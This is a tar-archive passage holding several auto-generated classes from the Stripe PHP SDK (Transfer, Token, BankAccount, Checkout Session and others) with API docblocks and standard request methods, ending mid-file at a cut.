����������������������������������������stripe-gateway/lib/Entitlements/ActiveEntitlementSummary.php����������������������������������������0000644�����������������00000001361�14720677707�0020467 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Entitlements; /** * A summary of a customer's active entitlements. * * @property string $object String representing the object's type. Objects of the same type share the same value. * @property string $customer The customer that is entitled to this feature. * @property \Stripe\Collection<\Stripe\Entitlements\ActiveEntitlement> $entitlements The list of entitlements this customer has. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. */ class ActiveEntitlementSummary extends \Stripe\ApiResource { const OBJECT_NAME = 'entitlements.active_entitlement_summary'; } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Transfer.php���������������������������������������������������������������������0000644�����������������00000021401�14720677707�0012573 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * A <code>Transfer</code> object is created when you move funds between Stripe accounts as * part of Connect. * * Before April 6, 2017, transfers also represented movement of funds from a * Stripe account to a card or bank account. This behavior has since been split * out into a <a href="https://stripe.com/docs/api#payout_object">Payout</a> object, with corresponding payout endpoints. For more * information, read about the * <a href="https://stripe.com/docs/transfer-payout-split">transfer/payout split</a>. * * Related guide: <a href="https://stripe.com/docs/connect/separate-charges-and-transfers">Creating separate charges and transfers</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount Amount in cents (or local equivalent) to be transferred. * @property int $amount_reversed Amount in cents (or local equivalent) reversed (can be less than the amount attribute on the transfer if a partial reversal was issued). * @property null|string|\Stripe\BalanceTransaction $balance_transaction Balance transaction that describes the impact of this transfer on your account balance. * @property int $created Time that this record of the transfer was first created. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property null|string $description An arbitrary string attached to the object. Often useful for displaying to users. * @property null|string|\Stripe\Account $destination ID of the Stripe account the transfer was sent to. * @property null|string|\Stripe\Charge $destination_payment If the destination is a Stripe account, this will be the ID of the payment that the destination account received for the transfer. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property \Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property \Stripe\Collection<\Stripe\TransferReversal> $reversals A list of reversals that have been applied to the transfer. * @property bool $reversed Whether the transfer has been fully reversed. If the transfer is only partially reversed, this attribute will still be false. * @property null|string|\Stripe\Charge $source_transaction ID of the charge or payment that was used to fund the transfer. If null, the transfer was funded from the available balance. * @property null|string $source_type The source balance this transfer came from. One of <code>card</code>, <code>fpx</code>, or <code>bank_account</code>. * @property null|string $transfer_group A string that identifies this transaction as part of a group. See the <a href="https://stripe.com/docs/connect/separate-charges-and-transfers#transfer-options">Connect documentation</a> for details. */ class Transfer extends ApiResource { const OBJECT_NAME = 'transfer'; use ApiOperations\NestedResource; use ApiOperations\Update; const SOURCE_TYPE_BANK_ACCOUNT = 'bank_account'; const SOURCE_TYPE_CARD = 'card'; const SOURCE_TYPE_FPX = 'fpx'; /** * To send funds from your Stripe account to a connected account, you create a new * transfer object. Your <a href="#balance">Stripe balance</a> must be able to * cover the transfer amount, or you’ll receive an “Insufficient Funds” error. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Transfer the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Returns a list of existing transfers sent to connected accounts. The transfers * are returned in sorted order, with the most recently created transfers appearing * first. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Transfer> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the details of an existing transfer. Supply the unique transfer ID * from either a transfer creation request or the transfer list, and Stripe will * return the corresponding transfer information. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Transfer */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates the specified transfer by setting the values of the parameters passed. * Any parameters not provided will be left unchanged. * * This request accepts only metadata as an argument. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Transfer the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } const PATH_REVERSALS = '/reversals'; /** * @param string $id the ID of the transfer on which to retrieve the transfer reversals * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\TransferReversal> the list of transfer reversals */ public static function allReversals($id, $params = null, $opts = null) { return self::_allNestedResources($id, static::PATH_REVERSALS, $params, $opts); } /** * @param string $id the ID of the transfer on which to create the transfer reversal * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TransferReversal */ public static function createReversal($id, $params = null, $opts = null) { return self::_createNestedResource($id, static::PATH_REVERSALS, $params, $opts); } /** * @param string $id the ID of the transfer to which the transfer reversal belongs * @param string $reversalId the ID of the transfer reversal to retrieve * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TransferReversal */ public static function retrieveReversal($id, $reversalId, $params = null, $opts = null) { return self::_retrieveNestedResource($id, static::PATH_REVERSALS, $reversalId, $params, $opts); } /** * @param string $id the ID of the transfer to which the transfer reversal belongs * @param string $reversalId the ID of the transfer reversal to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TransferReversal */ public static function updateReversal($id, $reversalId, $params = null, $opts = null) { return self::_updateNestedResource($id, static::PATH_REVERSALS, $reversalId, $params, $opts); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Token.php������������������������������������������������������������������������0000644�����������������00000011512�14720677707�0012071 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * Tokenization is the process Stripe uses to collect sensitive card or bank * account details, or personally identifiable information (PII), directly from * your customers in a secure manner. A token representing this information is * returned to your server to use. Use our * <a href="https://stripe.com/docs/payments">recommended payments integrations</a> to perform this process * on the client-side. This guarantees that no sensitive card data touches your server, * and allows your integration to operate in a PCI-compliant way. * * If you can't use client-side tokenization, you can also create tokens using * the API with either your publishable or secret API key. If * your integration uses this method, you're responsible for any PCI compliance * that it might require, and you must keep your secret API key safe. Unlike with * client-side tokenization, your customer's information isn't sent directly to * Stripe, so we can't determine how it's handled or stored. * * You can't store or use tokens more than once. To store card or bank account * information for later use, create <a href="https://stripe.com/docs/api#customers">Customer</a> * objects or <a href="/api#external_accounts">External accounts</a>. * <a href="https://stripe.com/docs/radar">Radar</a>, our integrated solution for automatic fraud protection, * performs best with integrations that use client-side tokenization. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|\Stripe\BankAccount $bank_account <p>These bank accounts are payment methods on <code>Customer</code> objects.</p><p>On the other hand <a href="/api#external_accounts">External Accounts</a> are transfer destinations on <code>Account</code> objects for connected accounts. They can be bank accounts or debit cards as well, and are documented in the links above.</p><p>Related guide: <a href="/payments/bank-debits-transfers">Bank debits and transfers</a></p> * @property null|\Stripe\Card $card <p>You can store multiple cards on a customer in order to charge the customer later. You can also store multiple debit cards on a recipient in order to transfer to those cards later.</p><p>Related guide: <a href="https://stripe.com/docs/sources/cards">Card payments with Sources</a></p> * @property null|string $client_ip IP address of the client that generates the token. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property string $type Type of the token: <code>account</code>, <code>bank_account</code>, <code>card</code>, or <code>pii</code>. * @property bool $used Determines if you have already used this token (you can only use tokens once). */ class Token extends ApiResource { const OBJECT_NAME = 'token'; const TYPE_ACCOUNT = 'account'; const TYPE_BANK_ACCOUNT = 'bank_account'; const TYPE_CARD = 'card'; const TYPE_PII = 'pii'; /** * Creates a single-use token that represents a bank account’s details. You can use * this token with any API method in place of a bank account dictionary. You can * only use this token once. To do so, attach it to a <a href="#accounts">connected * account</a> where <a * href="/api/accounts/object#account_object-controller-requirement_collection">controller.requirement_collection</a> * is <code>application</code>, which includes Custom accounts. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Token the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Retrieves the token with the given ID. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Token */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/UsageRecord.php������������������������������������������������������������������0000644�����������������00000002161�14720677707�0013214 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * Usage records allow you to report customer usage and metrics to Stripe for * metered billing of subscription prices. * * Related guide: <a href="https://stripe.com/docs/billing/subscriptions/metered-billing">Metered billing</a> * * This is our legacy usage-based billing API. See the <a href="https://docs.stripe.com/billing/subscriptions/usage-based">updated usage-based billing docs</a>. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property int $quantity The usage quantity for the specified date. * @property string $subscription_item The ID of the subscription item this usage record contains data for. * @property int $timestamp The timestamp when this usage occurred. */ class UsageRecord extends ApiResource { const OBJECT_NAME = 'usage_record'; } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/CreditNoteLineItem.php�����������������������������������������������������������0000644�����������������00000004501�14720677707�0014500 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * The credit note line item object. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount The integer amount in cents (or local equivalent) representing the gross amount being credited for this line item, excluding (exclusive) tax and discounts. * @property null|int $amount_excluding_tax The integer amount in cents (or local equivalent) representing the amount being credited for this line item, excluding all tax and discounts. * @property null|string $description Description of the item being credited. * @property int $discount_amount The integer amount in cents (or local equivalent) representing the discount being credited for this line item. * @property \Stripe\StripeObject[] $discount_amounts The amount of discount calculated per discount for this line item * @property null|string $invoice_line_item ID of the invoice line item being credited * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|int $quantity The number of units of product being credited. * @property \Stripe\StripeObject[] $tax_amounts The amount of tax calculated per tax rate for this line item * @property \Stripe\TaxRate[] $tax_rates The tax rates which apply to the line item. * @property string $type The type of the credit note line item, one of <code>invoice_line_item</code> or <code>custom_line_item</code>. When the type is <code>invoice_line_item</code> there is an additional <code>invoice_line_item</code> property on the resource the value of which is the id of the credited line item on the invoice. * @property null|int $unit_amount The cost of each unit of product being credited. * @property null|string $unit_amount_decimal Same as <code>unit_amount</code>, but contains a decimal value with at most 12 decimal places. * @property null|string $unit_amount_excluding_tax The amount in cents (or local equivalent) representing the unit amount being credited for this line item, excluding all tax and discounts. */ class CreditNoteLineItem extends ApiResource { const OBJECT_NAME = 'credit_note_line_item'; } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/BankAccount.php������������������������������������������������������������������0000644�����������������00000021774�14720677707�0013214 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * These bank accounts are payment methods on <code>Customer</code> objects. * * On the other hand <a href="/api#external_accounts">External Accounts</a> are transfer * destinations on <code>Account</code> objects for connected accounts. * They can be bank accounts or debit cards as well, and are documented in the links above. * * Related guide: <a href="/payments/bank-debits-transfers">Bank debits and transfers</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|string|\Stripe\Account $account The ID of the account that the bank account is associated with. * @property null|string $account_holder_name The name of the person or business that owns the bank account. * @property null|string $account_holder_type The type of entity that holds the account. This can be either <code>individual</code> or <code>company</code>. * @property null|string $account_type The bank account type. This can only be <code>checking</code> or <code>savings</code> in most countries. In Japan, this can only be <code>futsu</code> or <code>toza</code>. * @property null|string[] $available_payout_methods A set of available payout methods for this bank account. Only values from this set should be passed as the <code>method</code> when creating a payout. * @property null|string $bank_name Name of the bank associated with the routing number (e.g., <code>WELLS FARGO</code>). * @property string $country Two-letter ISO code representing the country the bank account is located in. * @property string $currency Three-letter <a href="https://stripe.com/docs/payouts">ISO code for the currency</a> paid out to the bank account. * @property null|string|\Stripe\Customer $customer The ID of the customer that the bank account is associated with. * @property null|bool $default_for_currency Whether this bank account is the default external account for its currency. * @property null|string $fingerprint Uniquely identifies this particular bank account. You can use this attribute to check whether two bank accounts are the same. * @property null|\Stripe\StripeObject $future_requirements Information about the <a href="https://stripe.com/docs/connect/custom-accounts/future-requirements">upcoming new requirements for the bank account</a>, including what information needs to be collected, and by when. * @property string $last4 The last four digits of the bank account number. * @property null|\Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property null|\Stripe\StripeObject $requirements Information about the requirements for the bank account, including what information needs to be collected. * @property null|string $routing_number The routing transit number for the bank account. * @property string $status <p>For bank accounts, possible values are <code>new</code>, <code>validated</code>, <code>verified</code>, <code>verification_failed</code>, or <code>errored</code>. A bank account that hasn't had any activity or validation performed is <code>new</code>. If Stripe can determine that the bank account exists, its status will be <code>validated</code>. Note that there often isn’t enough information to know (e.g., for smaller credit unions), and the validation is not always run. If customer bank account verification has succeeded, the bank account status will be <code>verified</code>. If the verification failed for any reason, such as microdeposit failure, the status will be <code>verification_failed</code>. If a payout sent to this bank account fails, we'll set the status to <code>errored</code> and will not continue to send <a href="https://stripe.com/docs/payouts#payout-schedule">scheduled payouts</a> until the bank details are updated.</p><p>For external accounts, possible values are <code>new</code>, <code>errored</code> and <code>verification_failed</code>. If a payout fails, the status is set to <code>errored</code> and scheduled payouts are stopped until account details are updated. In the US and India, if we can't <a href="https://support.stripe.com/questions/bank-account-ownership-verification">verify the owner of the bank account</a>, we'll set the status to <code>verification_failed</code>. Other validations aren't run against external accounts because they're only used for payouts. This means the other statuses don't apply.</p> */ class BankAccount extends ApiResource { const OBJECT_NAME = 'bank_account'; /** * Delete a specified external account for a given account. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\BankAccount the deleted resource */ public function delete($params = null, $opts = null) { self::_validateParams($params); $url = $this->instanceUrl(); list($response, $opts) = $this->_request('delete', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * Possible string representations of the bank verification status. * * @see https://stripe.com/docs/api/external_account_bank_accounts/object#account_bank_account_object-status */ const STATUS_NEW = 'new'; const STATUS_VALIDATED = 'validated'; const STATUS_VERIFIED = 'verified'; const STATUS_VERIFICATION_FAILED = 'verification_failed'; const STATUS_ERRORED = 'errored'; /** * @return string The instance URL for this resource. It needs to be special * cased because it doesn't fit into the standard resource pattern. */ public function instanceUrl() { if ($this['customer']) { $base = Customer::classUrl(); $parent = $this['customer']; $path = 'sources'; } elseif ($this['account']) { $base = Account::classUrl(); $parent = $this['account']; $path = 'external_accounts'; } else { $msg = 'Bank accounts cannot be accessed without a customer ID or account ID.'; throw new Exception\UnexpectedValueException($msg, null); } $parentExtn = \urlencode(Util\Util::utf8($parent)); $extn = \urlencode(Util\Util::utf8($this['id'])); return "{$base}/{$parentExtn}/{$path}/{$extn}"; } /** * @param array|string $_id * @param null|array|string $_opts * * @throws \Stripe\Exception\BadMethodCallException */ public static function retrieve($_id, $_opts = null) { $msg = 'Bank accounts cannot be retrieved without a customer ID or ' . 'an account ID. Retrieve a bank account using ' . "`Customer::retrieveSource('customer_id', " . "'bank_account_id')` or `Account::retrieveExternalAccount(" . "'account_id', 'bank_account_id')`."; throw new Exception\BadMethodCallException($msg); } /** * @param string $_id * @param null|array $_params * @param null|array|string $_options * * @throws \Stripe\Exception\BadMethodCallException */ public static function update($_id, $_params = null, $_options = null) { $msg = 'Bank accounts cannot be updated without a customer ID or an ' . 'account ID. Update a bank account using ' . "`Customer::updateSource('customer_id', 'bank_account_id', " . '$updateParams)` or `Account::updateExternalAccount(' . "'account_id', 'bank_account_id', \$updateParams)`."; throw new Exception\BadMethodCallException($msg); } /** * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return static the saved resource * * @deprecated The `save` method is deprecated and will be removed in a * future major version of the library. Use the static method `update` * on the resource instead. */ public function save($opts = null) { $params = $this->serializeParameters(); if (\count($params) > 0) { $url = $this->instanceUrl(); list($response, $opts) = $this->_request('post', $url, $params, $opts, ['save']); $this->refreshFrom($response, $opts); } return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return BankAccount the verified bank account */ public function verify($params = null, $opts = null) { $url = $this->instanceUrl() . '/verify'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } } ����stripe-gateway/lib/Checkout/Session.php�������������������������������������������������������������0000644�����������������00000034636�14720677707�0014215 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Checkout; /** * A Checkout Session represents your customer's session as they pay for * one-time purchases or subscriptions through <a href="https://stripe.com/docs/payments/checkout">Checkout</a> * or <a href="https://stripe.com/docs/payments/payment-links">Payment Links</a>. We recommend creating a * new Session each time your customer attempts to pay. * * Once payment is successful, the Checkout Session will contain a reference * to the <a href="https://stripe.com/docs/api/customers">Customer</a>, and either the successful * <a href="https://stripe.com/docs/api/payment_intents">PaymentIntent</a> or an active * <a href="https://stripe.com/docs/api/subscriptions">Subscription</a>. * * You can create a Checkout Session on your server and redirect to its URL * to begin Checkout. * * Related guide: <a href="https://stripe.com/docs/checkout/quickstart">Checkout quickstart</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|\Stripe\StripeObject $after_expiration When set, provides configuration for actions to take if this Checkout Session expires. * @property null|bool $allow_promotion_codes Enables user redeemable promotion codes. * @property null|int $amount_subtotal Total of all items before discounts or taxes are applied. * @property null|int $amount_total Total of all items after discounts and taxes are applied. * @property \Stripe\StripeObject $automatic_tax * @property null|string $billing_address_collection Describes whether Checkout should collect the customer's billing address. Defaults to <code>auto</code>. * @property null|string $cancel_url If set, Checkout displays a back button and customers will be directed to this URL if they decide to cancel payment and return to your website. * @property null|string $client_reference_id A unique string to reference the Checkout Session. This can be a customer ID, a cart ID, or similar, and can be used to reconcile the Session with your internal systems. * @property null|string $client_secret Client secret to be used when initializing Stripe.js embedded checkout. * @property null|\Stripe\StripeObject $consent Results of <code>consent_collection</code> for this session. * @property null|\Stripe\StripeObject $consent_collection When set, provides configuration for the Checkout Session to gather active consent from customers. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property null|string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property null|\Stripe\StripeObject $currency_conversion Currency conversion details for automatic currency conversion sessions * @property \Stripe\StripeObject[] $custom_fields Collect additional information from your customer using custom fields. Up to 3 fields are supported. * @property \Stripe\StripeObject $custom_text * @property null|string|\Stripe\Customer $customer The ID of the customer for this Session. For Checkout Sessions in <code>subscription</code> mode or Checkout Sessions with <code>customer_creation</code> set as <code>always</code> in <code>payment</code> mode, Checkout will create a new customer object based on information provided during the payment flow unless an existing customer was provided when the Session was created. * @property null|string $customer_creation Configure whether a Checkout Session creates a Customer when the Checkout Session completes. * @property null|\Stripe\StripeObject $customer_details The customer details including the customer's tax exempt status and the customer's tax IDs. Customer's address details are not present on Sessions in <code>setup</code> mode. * @property null|string $customer_email If provided, this value will be used when the Customer object is created. If not provided, customers will be asked to enter their email address. Use this parameter to prefill customer data if you already have an email on file. To access information about the customer once the payment flow is complete, use the <code>customer</code> attribute. * @property int $expires_at The timestamp at which the Checkout Session will expire. * @property null|string|\Stripe\Invoice $invoice ID of the invoice created by the Checkout Session, if it exists. * @property null|\Stripe\StripeObject $invoice_creation Details on the state of invoice creation for the Checkout Session. * @property null|\Stripe\Collection<\Stripe\LineItem> $line_items The line items purchased by the customer. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|string $locale The IETF language tag of the locale Checkout is displayed in. If blank or <code>auto</code>, the browser's locale is used. * @property null|\Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property string $mode The mode of the Checkout Session. * @property null|string|\Stripe\PaymentIntent $payment_intent The ID of the PaymentIntent for Checkout Sessions in <code>payment</code> mode. You can't confirm or cancel the PaymentIntent for a Checkout Session. To cancel, <a href="https://stripe.com/docs/api/checkout/sessions/expire">expire the Checkout Session</a> instead. * @property null|string|\Stripe\PaymentLink $payment_link The ID of the Payment Link that created this Session. * @property null|string $payment_method_collection Configure whether a Checkout Session should collect a payment method. Defaults to <code>always</code>. * @property null|\Stripe\StripeObject $payment_method_configuration_details Information about the payment method configuration used for this Checkout session if using dynamic payment methods. * @property null|\Stripe\StripeObject $payment_method_options Payment-method-specific configuration for the PaymentIntent or SetupIntent of this CheckoutSession. * @property string[] $payment_method_types A list of the types of payment methods (e.g. card) this Checkout Session is allowed to accept. * @property string $payment_status The payment status of the Checkout Session, one of <code>paid</code>, <code>unpaid</code>, or <code>no_payment_required</code>. You can use this value to decide when to fulfill your customer's order. * @property null|\Stripe\StripeObject $phone_number_collection * @property null|string $recovered_from The ID of the original expired Checkout Session that triggered the recovery flow. * @property null|string $redirect_on_completion This parameter applies to <code>ui_mode: embedded</code>. Learn more about the <a href="https://stripe.com/docs/payments/checkout/custom-redirect-behavior">redirect behavior</a> of embedded sessions. Defaults to <code>always</code>. * @property null|string $return_url Applies to Checkout Sessions with <code>ui_mode: embedded</code>. The URL to redirect your customer back to after they authenticate or cancel their payment on the payment method's app or site. * @property null|\Stripe\StripeObject $saved_payment_method_options Controls saved payment method settings for the session. Only available in <code>payment</code> and <code>subscription</code> mode. * @property null|string|\Stripe\SetupIntent $setup_intent The ID of the SetupIntent for Checkout Sessions in <code>setup</code> mode. You can't confirm or cancel the SetupIntent for a Checkout Session. To cancel, <a href="https://stripe.com/docs/api/checkout/sessions/expire">expire the Checkout Session</a> instead. * @property null|\Stripe\StripeObject $shipping_address_collection When set, provides configuration for Checkout to collect a shipping address from a customer. * @property null|\Stripe\StripeObject $shipping_cost The details of the customer cost of shipping, including the customer chosen ShippingRate. * @property null|\Stripe\StripeObject $shipping_details Shipping information for this Checkout Session. * @property \Stripe\StripeObject[] $shipping_options The shipping rate options applied to this Session. * @property null|string $status The status of the Checkout Session, one of <code>open</code>, <code>complete</code>, or <code>expired</code>. * @property null|string $submit_type Describes the type of transaction being performed by Checkout in order to customize relevant text on the page, such as the submit button. <code>submit_type</code> can only be specified on Checkout Sessions in <code>payment</code> mode. If blank or <code>auto</code>, <code>pay</code> is used. * @property null|string|\Stripe\Subscription $subscription The ID of the subscription for Checkout Sessions in <code>subscription</code> mode. * @property null|string $success_url The URL the customer will be directed to after the payment or subscription creation is successful. * @property null|\Stripe\StripeObject $tax_id_collection * @property null|\Stripe\StripeObject $total_details Tax and discount details for the computed total amount. * @property null|string $ui_mode The UI mode of the Session. Defaults to <code>hosted</code>. * @property null|string $url The URL to the Checkout Session. Redirect customers to this URL to take them to Checkout. If you’re using <a href="https://stripe.com/docs/payments/checkout/custom-domains">Custom Domains</a>, the URL will use your subdomain. Otherwise, it’ll use <code>checkout.stripe.com.</code> This value is only present when the session is active. */ class Session extends \Stripe\ApiResource { const OBJECT_NAME = 'checkout.session'; use \Stripe\ApiOperations\Update; const BILLING_ADDRESS_COLLECTION_AUTO = 'auto'; const BILLING_ADDRESS_COLLECTION_REQUIRED = 'required'; const CUSTOMER_CREATION_ALWAYS = 'always'; const CUSTOMER_CREATION_IF_REQUIRED = 'if_required'; const MODE_PAYMENT = 'payment'; const MODE_SETUP = 'setup'; const MODE_SUBSCRIPTION = 'subscription'; const PAYMENT_METHOD_COLLECTION_ALWAYS = 'always'; const PAYMENT_METHOD_COLLECTION_IF_REQUIRED = 'if_required'; const PAYMENT_STATUS_NO_PAYMENT_REQUIRED = 'no_payment_required'; const PAYMENT_STATUS_PAID = 'paid'; const PAYMENT_STATUS_UNPAID = 'unpaid'; const REDIRECT_ON_COMPLETION_ALWAYS = 'always'; const REDIRECT_ON_COMPLETION_IF_REQUIRED = 'if_required'; const REDIRECT_ON_COMPLETION_NEVER = 'never'; const STATUS_COMPLETE = 'complete'; const STATUS_EXPIRED = 'expired'; const STATUS_OPEN = 'open'; const SUBMIT_TYPE_AUTO = 'auto'; const SUBMIT_TYPE_BOOK = 'book'; const SUBMIT_TYPE_DONATE = 'donate'; const SUBMIT_TYPE_PAY = 'pay'; const UI_MODE_EMBEDDED = 'embedded'; const UI_MODE_HOSTED = 'hosted'; /** * Creates a Session object. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Checkout\Session the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Returns a list of Checkout Sessions. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Checkout\Session> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves a Session object. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Checkout\Session */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates a Session object. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Checkout\Session the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Checkout\Session the expired session */ public function expire($params = null, $opts = null) { $url = $this->instanceUrl() . '/expire'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param string $id * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\LineItem> list of line items */ public static function allLineItems($id, $params = null, $opts = null) { $url = static::resourceUrl($id) . '/line_items'; list($response, $opts) = static::_staticRequest('get', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } ��������������������������������������������������������������������������������������������������stripe-gateway/lib/SubscriptionItem.php�������������������������������������������������������������0000644�����������������00000020200�14720677707�0014306 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * Subscription items allow you to create customer subscriptions with more than * one plan, making it easy to represent complex billing 